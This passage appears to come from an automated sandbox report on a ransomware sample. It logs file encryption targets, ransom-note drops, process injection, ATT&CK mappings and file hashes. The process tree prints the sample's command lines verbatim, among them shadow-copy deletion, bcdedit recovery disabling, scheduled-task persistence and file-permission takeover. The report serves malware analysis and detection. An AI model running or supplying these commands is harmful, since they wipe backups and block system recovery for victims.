Files\VideoLAN\VLC\plugins\audio_output\libdirectsound_plugin.dll 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\VideoLAN\VLC\plugins\audio_filter\libsimple_channel_mixer_plugin.dll 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Google\Chrome\Application\106.0.5249.119\VisualElements\SmallLogoCanary.png 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Windhoek 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\ZoneInfoMappings 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Pitcairn 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\dialogs\mosaic_window.html 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\ACE.dll 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Amman 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Bissau 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jetty.util_8.1.14.v20131031.jar 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-core-multiview.xml 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Mozilla Firefox\freebl3.dll 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Mozilla Firefox\qipcap64.dll 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\jfr.dll 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-api-search.xml 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Microsoft Games\More Games\ja-JP\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\sunmscapi.dll 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Chicago 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\AssemblyInfoInternal.zip 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Araguaina 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Google\Chrome\Application\106.0.5249.119\v8_context_snapshot.bin 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\triggerConstraints.exsd 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Google\Chrome\Application\106.0.5249.119\Locales\nb.pak 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-masterfs.jar 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\meta-index 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Winnipeg 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\license.html 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jface.text.nl_ja_4.4.0.v20140623020002.jar 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\ENU\acro20.lng 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US_POSIX.txt 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\VideoLAN\VLC\plugins\access\libdvdread_plugin.dll 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.alert.zh_CN_5.5.0.165303.jar 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-api-visual.jar 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Microsoft Games\SpiderSolitaire\SpiderSolitaireMCE.png 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Google\Chrome\Application\106.0.5249.119\Locales\te.pak 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-windows.jar 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Bogota 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-services_zh_CN.jar 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Microsoft Games\Minesweeper\en-US\Minesweeper.exe.mui 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Microsoft Games\More Games\de-DE\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Boise 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\sa-jdi.jar 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\VideoLAN\VLC\plugins\codec\libscte27_plugin.dll 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\crashreporter-override.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.director_2.3.100.v20140224-1921.jar 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-openide-io.xml 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-sendopts.jar 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Maceio 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jre7\lib\security\javaws.policy 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Mozilla Firefox\crashreporter.exe 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\preface.htm 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\include\win32\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
Processes:
vssadmin.exepid process 1768 vssadmin.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exeXNB541eD64.exepid process 1264 powershell.exe 2680 XNB541eD64.exe 2680 XNB541eD64.exe 2680 XNB541eD64.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
XNB541eD64.exepid process 2680 XNB541eD64.exe -
Suspicious use of AdjustPrivilegeToken 46 IoCs
Processes:
powershell.exeXNB541eD64.exevssvc.exeWMIC.exedescription pid process Token: SeDebugPrivilege 1264 powershell.exe Token: SeDebugPrivilege 2680 XNB541eD64.exe Token: SeLoadDriverPrivilege 2680 XNB541eD64.exe Token: SeBackupPrivilege 3228 vssvc.exe Token: SeRestorePrivilege 3228 vssvc.exe Token: SeAuditPrivilege 3228 vssvc.exe Token: SeIncreaseQuotaPrivilege 3156 WMIC.exe Token: SeSecurityPrivilege 3156 WMIC.exe Token: SeTakeOwnershipPrivilege 3156 WMIC.exe Token: SeLoadDriverPrivilege 3156 WMIC.exe Token: SeSystemProfilePrivilege 3156 WMIC.exe Token: SeSystemtimePrivilege 3156 WMIC.exe Token: SeProfSingleProcessPrivilege 3156 WMIC.exe Token: SeIncBasePriorityPrivilege 3156 WMIC.exe Token: SeCreatePagefilePrivilege 3156 WMIC.exe Token: SeBackupPrivilege 3156 WMIC.exe Token: SeRestorePrivilege 3156 WMIC.exe Token: SeShutdownPrivilege 3156 WMIC.exe Token: SeDebugPrivilege 3156 WMIC.exe Token: SeSystemEnvironmentPrivilege 3156 WMIC.exe Token: SeRemoteShutdownPrivilege 3156 WMIC.exe Token: SeUndockPrivilege 3156 WMIC.exe Token: SeManageVolumePrivilege 3156 WMIC.exe Token: 33 3156 WMIC.exe Token: 34 3156 WMIC.exe Token: 35 3156 WMIC.exe Token: SeIncreaseQuotaPrivilege 3156 WMIC.exe Token: SeSecurityPrivilege 3156 WMIC.exe Token: SeTakeOwnershipPrivilege 3156 WMIC.exe Token: SeLoadDriverPrivilege 3156 WMIC.exe Token: SeSystemProfilePrivilege 3156 WMIC.exe Token: SeSystemtimePrivilege 3156 WMIC.exe Token: SeProfSingleProcessPrivilege 3156 WMIC.exe Token: SeIncBasePriorityPrivilege 3156 WMIC.exe Token: SeCreatePagefilePrivilege 3156 WMIC.exe Token: SeBackupPrivilege 3156 WMIC.exe Token: SeRestorePrivilege 3156 WMIC.exe Token: SeShutdownPrivilege 3156 WMIC.exe Token: SeDebugPrivilege 3156 WMIC.exe Token: SeSystemEnvironmentPrivilege 3156 WMIC.exe Token: SeRemoteShutdownPrivilege 3156 WMIC.exe Token: SeUndockPrivilege 3156 WMIC.exe Token: SeManageVolumePrivilege 3156 WMIC.exe Token: 33 3156 WMIC.exe Token: 34 3156 WMIC.exe Token: 35 3156 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.execmd.execmd.execmd.execmd.exewscript.execmd.exedescription pid process target process PID 2088 wrote to memory of 1648 2088 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe cmd.exe PID 2088 wrote to memory of 1648 2088 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe cmd.exe PID 2088 wrote to memory of 1648 2088 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe cmd.exe PID 2088 wrote to memory of 1648 2088 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe cmd.exe PID 2088 wrote to memory of 3000 2088 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe NWsny7pa.exe PID 2088 wrote to memory of 3000 2088 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe NWsny7pa.exe PID 2088 wrote to memory of 3000 2088 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe NWsny7pa.exe PID 2088 wrote to memory of 3000 2088 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe NWsny7pa.exe PID 2088 wrote to memory of 612 2088 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe cmd.exe PID 2088 wrote to memory of 612 2088 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe cmd.exe PID 2088 wrote to memory of 612 2088 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe cmd.exe PID 2088 wrote to memory of 612 2088 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe cmd.exe PID 612 wrote to memory of 1264 612 cmd.exe powershell.exe PID 612 wrote to memory of 1264 612 cmd.exe powershell.exe PID 612 wrote to memory of 1264 612 cmd.exe powershell.exe PID 612 wrote to memory of 1264 612 cmd.exe powershell.exe PID 2088 wrote to memory of 2760 2088 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe cmd.exe PID 2088 wrote to memory of 2760 2088 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe cmd.exe PID 2088 wrote to memory of 2760 2088 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe cmd.exe PID 2088 wrote to memory of 2760 2088 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe cmd.exe PID 2088 wrote to memory of 2588 2088 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe cmd.exe PID 2088 wrote to memory of 2588 2088 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe cmd.exe PID 2088 wrote to memory of 2588 2088 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe cmd.exe PID 2088 wrote to memory of 2588 2088 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe cmd.exe PID 2760 wrote to memory of 1256 2760 cmd.exe reg.exe PID 2760 wrote to memory of 1256 2760 cmd.exe reg.exe PID 2760 wrote to memory of 1256 2760 cmd.exe reg.exe PID 2760 wrote to memory of 1256 2760 cmd.exe reg.exe PID 2588 wrote to memory of 1964 2588 cmd.exe wscript.exe PID 2588 wrote to memory of 1964 2588 cmd.exe wscript.exe PID 2588 wrote to memory of 1964 2588 cmd.exe wscript.exe PID 2588 wrote to memory of 1964 2588 cmd.exe wscript.exe PID 2760 wrote to memory of 1692 2760 cmd.exe reg.exe PID 2760 wrote to memory of 1692 2760 cmd.exe reg.exe PID 2760 wrote to memory of 1692 2760 cmd.exe reg.exe PID 2760 wrote to memory of 1692 2760 cmd.exe reg.exe PID 2760 wrote to memory of 2720 2760 cmd.exe reg.exe PID 2760 wrote to memory of 2720 2760 cmd.exe reg.exe PID 2760 wrote to memory of 2720 2760 cmd.exe reg.exe PID 2760 wrote to memory of 2720 2760 cmd.exe reg.exe PID 2088 wrote to memory of 2716 2088 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe cmd.exe PID 2088 wrote to memory of 2716 2088 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe cmd.exe PID 2088 wrote to memory of 2716 2088 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe cmd.exe PID 2088 wrote to memory of 2716 2088 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe cmd.exe PID 2716 wrote to memory of 1548 2716 cmd.exe attrib.exe PID 2716 wrote to memory of 1548 2716 cmd.exe attrib.exe PID 2716 wrote to memory of 1548 2716 cmd.exe attrib.exe PID 2716 wrote to memory of 1548 2716 cmd.exe attrib.exe PID 1964 wrote to memory of 4088 1964 wscript.exe cmd.exe PID 1964 wrote to memory of 4088 1964 wscript.exe cmd.exe PID 1964 wrote to memory of 4088 1964 wscript.exe cmd.exe PID 1964 wrote to memory of 4088 1964 wscript.exe cmd.exe PID 2716 wrote to memory of 2952 2716 cmd.exe cacls.exe PID 2716 wrote to memory of 2952 2716 cmd.exe cacls.exe PID 2716 wrote to memory of 2952 2716 cmd.exe cacls.exe PID 2716 wrote to memory of 2952 2716 cmd.exe cacls.exe PID 2716 wrote to memory of 3700 2716 cmd.exe takeown.exe PID 2716 wrote to memory of 3700 2716 cmd.exe takeown.exe PID 2716 wrote to memory of 3700 2716 cmd.exe takeown.exe PID 2716 wrote to memory of 3700 2716 cmd.exe takeown.exe PID 4088 wrote to memory of 3836 4088 cmd.exe schtasks.exe PID 4088 wrote to memory of 3836 4088 cmd.exe schtasks.exe PID 4088 wrote to memory of 3836 4088 cmd.exe schtasks.exe PID 4088 wrote to memory of 3836 4088 cmd.exe schtasks.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
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Views/modifies file attributes 1 TTPs 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\FoxRansomware\0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe"1⤵
- Matrix Ransomware
- Loads dropped DLL
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2088 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe" "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWsny7pa.exe"2⤵PID:1648
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C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWsny7pa.exe"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWsny7pa.exe" -n2⤵
- Executes dropped EXE
PID:3000
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\OjXT9s1J.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:612 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1264
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Imidld95.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2760 -
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Imidld95.bmp" /f3⤵
- Sets desktop wallpaper using registry
PID:1256
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C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f3⤵PID:1692
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C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f3⤵PID:2720
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\25GK72nz.vbs"2⤵
- Suspicious use of WriteProcessMemory
PID:2588 -
C:\Windows\SysWOW64\wscript.exewscript //B //Nologo "C:\Users\Admin\AppData\Roaming\25GK72nz.vbs"3⤵
- Suspicious use of WriteProcessMemory
PID:1964 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\oJiif7aR.bat" /sc minute /mo 5 /RL HIGHEST /F4⤵
- Suspicious use of WriteProcessMemory
PID:4088 -
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\oJiif7aR.bat" /sc minute /mo 5 /RL HIGHEST /F5⤵
- Creates scheduled task(s)
PID:3836
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA4⤵PID:2356
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C:\Windows\SysWOW64\schtasks.exeschtasks /Run /I /tn DSHCA5⤵PID:3620
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C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\HTPEPsK5.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf""2⤵
- Suspicious use of WriteProcessMemory
PID:2716 -
C:\Windows\SysWOW64\attrib.exeattrib -R -A -S "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf"3⤵
- Views/modifies file attributes
PID:1548
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C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf" /E /G Admin:F /C3⤵PID:2952
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C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf"3⤵
- Modifies file permissions
PID:3700
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c XNB541eD.exe -accepteula "DefaultID.pdf" -nobanner3⤵
- Loads dropped DLL
PID:3668 -
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\XNB541eD.exeXNB541eD.exe -accepteula "DefaultID.pdf" -nobanner4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3812 -
C:\Users\Admin\AppData\Local\Temp\XNB541eD64.exeXNB541eD.exe -accepteula "DefaultID.pdf" -nobanner5⤵
- Drops file in Drivers directory
- Sets service image path in registry
- Executes dropped EXE
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
PID:2680
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C:\Windows\system32\taskeng.exetaskeng.exe {D84625B1-C98D-4974-BB01-FEED18F711E7} S-1-5-21-3787592910-3720486031-2929222812-1000:HSNHLVYA\Admin:Interactive:[1]1⤵PID:1088
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C:\Windows\SYSTEM32\cmd.exeC:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\oJiif7aR.bat"2⤵PID:3196
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C:\Windows\system32\vssadmin.exevssadmin Delete Shadows /All /Quiet3⤵
- Interacts with shadow copies
PID:1768
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C:\Windows\System32\Wbem\WMIC.exewmic SHADOWCOPY DELETE3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3156
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:3432
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
- Modifies boot configuration data using bcdedit
PID:540
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN DSHCA /F3⤵PID:3984
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3228
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Defense Evasion
File and Directory Permissions Modification
1Hide Artifacts
1Hidden Files and Directories
1Indicator Removal
2File Deletion
2Modify Registry
2Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
8KB
MD573a1a1ade86fe4775c8dfe8c654a538c
SHA129e6929a77ccf444fe47ea852604784f52618e74
SHA256ff5679c95dadc14225a20a947346174e39eaf09cb8add0c868895086fb8902ea
SHA512647cf990c60468c29b9cf16964b516a42540e520b2a321adeb9c05aba94fec33e2d4681a91cf856779445a4e8a53e3998a3dbc9907d40fd862a0ff21b2ce206a
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Filesize
246B
MD584d69164d6b51c222021936c7038e2c7
SHA1569ceb6e880b42c00752d2015f47bb8797ad12f1
SHA25655a4bb419f8c48adb5201a221d0b60d1c4ce325483619ea5af12a31f33f3e6a6
SHA512efaedfe40c790ac9406270c7ed9e14af1fb51b7c5679a0c35169dd0b1af4fe646f1e6b38cf26ad6ec286644c37598298a15bacb5144c5188049fdad272b1c669
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Filesize
16B
MD517d432845dc7cb55ac69d75cf72f7f5d
SHA17f3b6e6ab91b3a13c0611fe6e95befab691d5cc3
SHA256a7cd0523e7aca4fd8db39d49ce1fe6198b92956509bd360dae646798c2a251a4
SHA51225054cd4ec03675f28d0aa1aa09b691beacb9f9a1cf538179777d74a713e97457c39d56c787becc378fcdc31c62cbdf56546f8cee41f5f99f11b8798663104e0
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Filesize
31KB
MD52c6ca9cacc1d248c7d92224fdbbd186a
SHA167d7bfa583d5b571523a0489afc9fa3c29d6192f
SHA256b73f7ff5dbc3be386f38222c89885e6411c85a846401e7e77a6567731304b50e
SHA5121033312e75251dc8e50329447898bdb5b26dfe746eed16d41142e22a4e168dce6ef2736d515d1ed7ad0baccaebfebb020b5d52f619145ba5a9ce785c4b163d03
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Filesize
221KB
MD53026bc2448763d5a9862d864b97288ff
SHA17d93a18713ece2e7b93e453739ffd7ad0c646e9e
SHA2567adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec
SHA512d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6
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Filesize
260B
MD570f00212053c9bd3cee9f3aadf8613d6
SHA142cdb08328a745142a7640032b9f36692672521e
SHA256475ab677e6e254c86815f55ee2958665182603334cebd1a6353031c024e3ab0b
SHA512c5aacc45e346f0a4ac19471756b132f892414ccf98a0a48ee23164114e38ca1cad1c1c6622b52210e5262032bd6aa67c686bee9616e463a2698dc3be3b532de0
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Filesize
265B
MD5fb1c17dc591551d0a0ee2cde775e0164
SHA105e6bbd5bd556f394368db9b609ea99d00150a8e
SHA2568c4bd4dd8f39f03df5eb3fbb07088e938084cd3b1006c4c2eacc48a1df90c25a
SHA51257cd69cff72183603e6b108c8d02f7f7d5ad1fde0f152f5792bc65ec3709b638be95c10322049fe9c9478399736d51dc553218314fdb9bd1910b5bdc35f26b43
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Filesize
1.2MB
MD5607d292bdcdde297252e002e613282ae
SHA10161d2dd582d064f7e7f50ccb43478ff0884916a
SHA2560676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65
SHA5122bdc2ff857f9f52aac5071d3a695f7baf822a971969ba263ad03769c41af7916b558bada6bfe76fe78f730235a4ca5d2dd1cf3eaa2a59c5efef06af0a798acb8
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Filesize
181KB
MD52f5b509929165fc13ceab9393c3b911d
SHA1b016316132a6a277c5d8a4d7f3d6e2c769984052
SHA2560cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4
SHA512c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8